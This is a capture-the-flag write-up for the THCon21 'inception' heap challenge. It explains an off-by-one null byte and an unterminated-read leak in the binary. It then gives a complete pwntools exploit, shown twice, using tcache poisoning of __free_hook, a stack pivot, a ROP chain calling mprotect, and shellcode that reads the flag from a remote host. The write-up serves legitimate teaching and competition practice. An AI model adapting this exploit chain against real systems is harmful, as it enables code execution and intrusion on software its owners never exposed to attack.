THCon21{inception}
Hi everyone! Hope that everything’s doing good :D!
First of all, sorry for the off-time, I was getting everything ready on college in order to have time to play more ctf’s :D
This weekend, we participated as a team on the THCon CTF
, which was very enyoyable, since it was a 24 hrs ctf
(I personally love 24 hrs ctf, since it is more accesible for me and my team :D). With that said, lets see the challenge.
Summary
The problem is a classic heap
related challenge where we have the following options:
Recon
Doing a little reversing we have the following functions:
Where we have the following problem on the setup()
function.
which is basically that we will not have execve()
for us, so, no one gadgets :(.
The read_int()
function is used to get the number from stdin
, note that read()
is used with a 0x28
buffer (this will come handy after).
void read_int(void){
long in_FS_OFFSET;
undefined8 local_38;
undefined8 local_30;
undefined8 local_28;
undefined8 local_20;
undefined8 local_18;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_38 = 0;
local_30 = 0;
local_28 = 0;
local_20 = 0;
local_18 = 0;
read(0,&local_38,0x28);
atoi((char *)&local_38);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
For the add()
function, we have the following:
void add(void){
uint idx;
int size;
char *chunk;
idx = find_empty();
if (idx == 0xffffffff) {
puts("No more space.");
}
else {
printf("Dream size: ");
size = read_int();
if ((size < 1) || (0x800 < size)) {
puts("Invalid size.");
}
else {
dreams_size[(int)idx] = size;
chunk = (char *)malloc((long)size);
dreams[(int)idx] = chunk;
printf("Dream content: ");
/* No null terminated string, for arbitrary read */
read(0,dreams[(int)idx],(long)size);
printf("Dream #%d created.\n",(ulong)idx);
}
}
return;
}
int find_empty(void){
int k;
k = 0;
while( true ) {
if (5 < k) {
return -1;
}
if (dreams[k] == (char *)0x0) break;
k = k + 1;
}
return k;
}
From here we have that, there’s 2 arrays on the BSS
with six entries, one with chunk pointers
and other with the respectives dream size
. note that the input
is no-null terminated, so we can abuse this to obtain an oob read
. Another thing to notice, is that the index returned is the first null found
.
The delete()
function is the following.
void delete(void){
int idx;
idx = read_index();
if (idx != -1) {
/* Free the dreams[idx];
and Zero both arrays of dreams
dreams[idx];
dreams_size[idx]; */
free(dreams[idx]);
dreams[idx] = (char *)0x0;
dreams_size[idx] = 0;
puts("Dream deleted.");
}
return;
}
Nothing interesting here, it free
the entry, and null
the chunk and sizes entries
.
The edit()
function, is the following.
void edit(void){
int idx;
ssize_t amount;
idx = read_index();
if (idx != -1) {
printf("New dream content: ");
amount = read(0,dreams[idx],(long)dreams_size[idx]);
/* off by one bug,
setting a nullbyte on the last+1 byte */
dreams[idx][(int)amount] = '\0';
}
return;
}
From here, we can see that the function reads dreams_size
bytes, and add a null-byte
after that read. which means that we have an off by one
bug here.
The view function is the following
void view(void){
int idx;
idx = read_index();
if (idx != -1) {
printf("Dream content: %s\n",dreams[idx]);
}
return;
}
This allows us to view a chunk content
, nothing fancy.
Exploitation
Now that we understand what the program does, and the respective bugs that it have, the plan to pwn this is the following:
- Malloc a enough size chunk to not end in tcache (>0x410) .
- Free that chunk letting it go to the
unsorted bins
. - Get the chunk from the
unsorted bin
, since it is not zeroed by the program, by viewing the chunk, we can get a leak from thefd and bk
. - malloc a couple of
tcache sized
chunks and a big chunk after that. - Edit the
big_chunk - 1
chunk and overwrite thebig_chunk.prev_size
and thebig_chunk.prev_inuse
bit to zero with theoff by one bug
. - Free the first
big_chunk
and the lastfree_chunk
, since the&last_chunk - last_chunk.prev_size
points to the firstbig chunk
and thelast_chunk.prev_inuse
is unset, it will do abackwards consolidation
, placing a veeeeeerybig chunk
into the unsorted bin, starting where thefirst big chunk
was. - By allocating again a big chunk, it will be the
consolidated chunk
placed at the unsorted bin. - Overwrite the
fd
pointer of thetcache's
chunks that are inside thebig chunk
. - Do
malloc
in order to get achunk
pointing to theheap_base
and thefree_hook
by doingtcache poisoning
. - Overwrite the
__free_hook
with a gadget that lets us start a minirop chain
. (use the read_int() bytes to achieve this). - Change
rsp
to aheap chunk
. - Do
rop
in order tomprotect(heap, 0x1000, RWX)
, (or do a bigropchain
). - Execute the heap. :)
With that said, starting the exploit skeleton
. (I’ll comment the code in order to understand each line)
#!/usr/bin/env python3
from pwn import *
import sys
import subprocess
context(terminal=['tmux', 'split-window','-v'])
context(os="linux", arch="amd64")
context.log_level = "debug"
p_name = "./inception" ## change for the challenge name
DEBUG = 1
elf = ELF(p_name)
libc = ELF("./libc.so.6")
if DEBUG:
commands = '''continue
b * add
b * delete
b * edit
b * view
b * {long long int}(&__free_hook)
'''
p = gdb.debug(args = [p_name], gdbscript = commands, exe = p_name, env = {"LD_PRELOAD":"./libc.so.6"})
else:
p = remote("remote2.thcon.party",10904)
def f():
p.recvuntil("> ")
def malloc(size, content):
p.sendline(b'1')
p.recvuntil(b'size: ')
p.sendline(str(size).encode())
p.recvuntil(b'content: ')
p.send(content)
f()
def delete(idx):
p.sendline(b'2')
p.sendafter(b"index: ", str(idx))
f()
def edit(idx, content):
p.sendline(b'3')
p.sendlineafter(b"index: ", str(idx) )
p.sendafter(b'content: ', content )
f()
def view(idx, leak = False):
p.sendline(b'4')
p.sendlineafter(b'index: ', str(idx))
if leak:
p.recvuntil("content: ")
leak = p.recvline().strip()[-6:]
print(leak)
f()
return leak
f()
## begin
f()
malloc(0x500-8 , b'B' * 0x4) # idx 0 is returned
malloc(0x30 , b'C' * 0x4) # idx 1 is returned
delete(0) # idx 0 removed, chunk placed in unsorted bin
malloc(0x500-8, b'B' * 0x8) # idx 0 returned, since its not zeroed, and no null-byte terminated, we can view the libc leak from here by viewing the chunk
leak = view(0, leak=True).strip()
leak = leak.ljust(8,b'\x00')
leak = u64(leak)
libc_base = leak - 0x3ebca0
libc.address = libc_base
free_hook = libc.sym['__free_hook']
mprotect = libc.sym['mprotect']
log.info("Libc leak: %s " % hex(leak) )
log.info("Libc base: %s " % hex(libc_base) )
log.info("Free_hook: %s " % hex(libc.sym['__free_hook']) )
With the libc base, we can malloc tcache's
chunks in between and another big chunk at the end.
#....
log.info("Libc leak: %s " % hex(leak) )
log.info("Libc base: %s " % hex(libc_base) )
log.info("Free_hook: %s " % hex(libc.sym['__free_hook']) )
malloc(0x50 - 8 , b'D' * 0x4) # idx 2 is returned
malloc(0x70 - 8 , b'E' * 0x4) # idx 3 is returned
malloc(0x500 - 8, b'F' * 0x4) # idx 4 is returned
malloc(0x20 , b'E' * 0x4) # idx 5 is returned
payload = b''
payload += b'Y' * (0x70 - 0x10 )
payload += p64( 0x600 )
edit(3, payload) # overwrite the dream[idx=4] prev_size and prev_inuse, in order to make it consolidate backwards
delete(0) # place the first big chunk in to the unsorted bin
delete(1) # free a tcache chunk
delete(2) # free a tcache chunk
delete(4) # Consolidate the big chunk backwards.
Note that the small chunks
are inside of the memory region of the consolidated big chunk.
With this, we can now malloc a big chunk
in order to get it from the unsorted bin
and write on it in order to overwrite the tiny_chunk.fd
pointer to do a tcache poisoning attack
.
# ....
payload = b''
payload += b'A' * (0x4f0 + 24)
malloc(0x600, payload) # idx 0 is returned from the unsorted bin.
heap_base = view(0, leak=True).strip()
heap_base = heap_base.ljust(8, b'\x00')
heap_base = u64(heap_base) - 0x10
log.info("The heap: @ %s " % hex(heap_base) )
# make a payload to overwite the chunk.fd pointer to the chunks that are placed inside this chunk memory region
payload = b''
payload += b'A' * (0x4f0)
payload += p64(0x00)
payload += p64(0x40)
payload += p64(libc.sym['__free_hook']) # overwrite the fd pointer of a 0x40 chunk. The second malloc, will return a reference to &__free_hook
payload += p64(0x00)
payload += b'A' * (0x8 * 5)
payload += p64(0x51) # do the sabe for the 0x51 sized chunk, but this time, with the heap_base (this will break the entire heap)
payload += p64(heap_base)
edit(0,payload)
At this point we successfully overwrite the fd
pointer of each tcache chunk
.
With this done, we need 4 malloc()
in order to get a reference to the __free_hook
and the heap base
.
# ...
malloc(0x40-8, p64(heap_base) ) # idx 1 is returned, dummy malloc, now &heap_base is placed in the top of the tcache
# usefull gadgets
pop_4 = libc.address+0x00000000000221fd +1# : pop r13; pop r14; pop r15; pop rbp; ret;
rcx = libc.address +0x0000000000103d6a #: pop rcx; pop rbx; ret;
rdi = libc.address + 0x0000000000022203 # : pop rdi; pop rbp; ret;
rsi = libc.address + 0x0000000000023eea # : pop rsi; ret
rdx = libc.address + 0x0000000000001b96 # : pop rdx; ret;
rdx_nopop = libc.address + 0x000000000014148d # : mov rdx, rax; ret;
delete(5) # Delete the last tiny entry in order to get the `heap base` chunk reference (max 6 entries).
malloc(0x40-8, p64(pop_4) ) # idx 2 is returned which is the __free_hook chunk, replace it with that pop_4 gadget
malloc(0x50-8, b'B') # idx 4 is returned, one more to get a `heap base reference`.
malloc(0x50-8, b'C') # idx 5 is returned, heap base reference
With this done, now, we can abuse the 0x28 bytes
on the read_int()
function. Delete a chunk and send the payload
as the “integer”. The function will parse the integer correctly, but our payload 24 bytes
will be placed on the stack. Since we overwrite the __free_hook
with a 4 pop - gadget
, we can reach our payload on the stack to start our ropchain
.
Since we just have 32 bytes
to do the ropchain, I made the rsp
register to point to the heap
in order to get a bigger ropchain.
With that done, we can now:
- call
mprotect(heap, 0x1000, 0x7)
in order to make theheap executable
. - Jump to the heap placed
shellcode
. - Read the flag.
#...
yesno("Trigger mprotect ?")
main_rop = b''
main_rop += p64(rdx) # main rop placed on the heap.
main_rop += p64(0x7) # 0x7 for RWX (third argument)
main_rop += p64(libc.sym['mprotect']) # call mprotect
main_rop += p64(heap_base + 0x260 + 32) # ret to the heab shellcode.
main_rop += asm('''xor rax, rax
lea rdi, [rsp + 0x3e]
xor rsi, rsi
xor rdx, rdx
xor rax, rax
inc rax
inc rax
syscall
mov rdi, rax
lea rsi, [rsp+0x100]
mov rdx, 40
xor rax, rax
syscall
xor rdi, rdi
inc rdi
xor rax, rax
inc rax
syscall
''')
main_rop += b'/home/user/flag.txt\x00'
edit(0,main_rop) # edit the bigger chunk in order to place the bigger ropchain
payload = b'5'.ljust(8,b'\x00') # place the tiny ropchain on the stack abusing the read_int() fucntion
payload += b''
payload += p64(libc.address + 0x0000000000003960)
payload += p64(heap_base + 0x260)
p.sendline(b"2")
p.send(payload)
f()
#delete(0)
p.interactive()
The entire payload was the following
#!/usr/bin/env python3
from pwn import *
import sys
import subprocess
context(terminal=['tmux', 'split-window','-v'])
context(os="linux", arch="amd64")
context.log_level = "debug"
p_name = "./inception" ## change for the challenge name
DEBUG = 0
elf = ELF(p_name)
libc = ELF("./libc.so.6")
if DEBUG:
commands = '''continue
b * add
b * delete
b * edit
b * view
b * {long long int}(&__free_hook)
'''
p = gdb.debug(args = [p_name], gdbscript = commands, exe = p_name, env = {"LD_PRELOAD":"./libc.so.6"})
else:
p = remote("remote2.thcon.party",10904)
def f():
p.recvuntil("> ")
def malloc(size, content):
p.sendline(b'1')
p.recvuntil(b'size: ')
p.sendline(str(size).encode())
p.recvuntil(b'content: ')
p.send(content)
f()
def delete(idx):
p.sendline(b'2')
p.sendafter(b"index: ", str(idx))
f()
def edit(idx, content):
p.sendline(b'3')
p.sendlineafter(b"index: ", str(idx) )
p.sendafter(b'content: ', content )
f()
def view(idx, leak = False):
p.sendline(b'4')
p.sendlineafter(b'index: ', str(idx))
if leak:
p.recvuntil("content: ")
leak = p.recvline().strip()[-6:]
print(leak)
f()
return leak
f()
## begin
f()
malloc(0x500-8 , b'B' * 0x4) # 0
malloc(0x30 , b'C' * 0x4) # 1
delete(0)
malloc(0x500-8, b'B' * 0x8) # 0
leak = view(0, leak=True).strip()
leak = leak.ljust(8,b'\x00')
leak = u64(leak)
libc_base = leak - 0x3ebca0
libc.address = libc_base
free_hook = libc.sym['__free_hook']
mprotect = libc.sym['mprotect']
log.info("Libc leak: %s " % hex(leak) )
log.info("Libc base: %s " % hex(libc_base) )
log.info("Free_hook: %s " % hex(libc.sym['__free_hook']) )
malloc(0x50 - 8 , b'D' * 0x4) # 2
malloc(0x70 - 8 , b'E' * 0x4) # 3
malloc(0x500 - 8, b'F' * 0x4) # 4
malloc(0x20 , b'E' * 0x4) # 5
payload = b''
payload += b'Y' * (0x70 - 0x10 )
payload += p64( 0x600 )
edit(3, payload)
#yesno("delete?")
delete(0)
delete(1)
delete(2)
delete(4)
# Now, the chunk 4 is consolidated backwards, having a 0xb00 size chunk into the unsorted bin, which means, that freeing the middle chunks, we can overwrite those pointers by editting the new 0xb0 chunk
payload = b''
payload += b'A' * (0x4f0 + 24)
malloc(0x600, payload) # 0
heap_base = view(0, leak=True).strip()
heap_base = heap_base.ljust(8, b'\x00')
heap_base = u64(heap_base) - 0x10
log.info("The heap: @ %s " % hex(heap_base) )
payload = b''
payload += b'A' * (0x4f0)
payload += p64(0x00)
payload += p64(0x40)
payload += p64(libc.sym['__free_hook']) # overwrite the fd pointer of a 0x40 chunk, in order to the second malloc, we'll get a reference to __free_hook
payload += p64(0x00)
payload += b'A' * (0x8 * 5)
payload += p64(0x51)
payload += p64(heap_base)
edit(0,payload)
malloc(0x40-8, p64(heap_base) ) #1
pop_4 = libc.address+0x00000000000221fd +1# : pop r13; pop r14; pop r15; pop rbp; ret;
rcx = libc.address +0x0000000000103d6a #: pop rcx; pop rbx; ret;
rdi = libc.address + 0x0000000000022203 # : pop rdi; pop rbp; ret;
rsi = libc.address + 0x0000000000023eea # : pop rsi; ret;
rdx = libc.address + 0x0000000000001b96 # : pop rdx; ret;
rdx_nopop = libc.address + 0x000000000014148d # : mov rdx, rax; ret;
dummy = libc.address +0x000000000009df8f#: add rsp, 8; jmp rax;
delete(5)
malloc(0x40-8, p64(pop_4) ) #2 which is the __free_hook chunk
#malloc(0x40-8, p64(dummy2) ) #2 which is the __free_hook chunk
#yesno("what?")
malloc(0x50-8, b'B') # 4
malloc(0x50-8, b'C') # 5
yesno("Trigger mprotect ?")
main_rop = b''
main_rop += p64(rdx)
main_rop += p64(0x7)
main_rop += p64(libc.sym['mprotect'])
main_rop += p64(heap_base + 0x260 + 32)
main_rop += asm('''xor rax, rax
lea rdi, [rsp + 0x3e]
xor rsi, rsi
xor rdx, rdx
xor rax, rax
inc rax
inc rax
syscall
mov rdi, rax
lea rsi, [rsp+0x100]
mov rdx, 40
xor rax, rax
syscall
xor rdi, rdi
inc rdi
xor rax, rax
inc rax
syscall
''')
main_rop += b'/home/user/flag.txt\x00'
edit(0,main_rop)
payload = b'5'.ljust(8,b'\x00')
payload += b''
payload += p64(libc.address + 0x0000000000003960)
payload += p64(heap_base + 0x260)
p.sendline(b"2")
p.send(payload)
f()
p.interactive()
With this, we can get the flag :D
THCon21{i5_7h15_b4byR0P_0r_B4byH34P???}
Thanks to the THC
team for the CTF,,,, Hope that this make sense, any doubt, just ping me,
be safe,
cheers!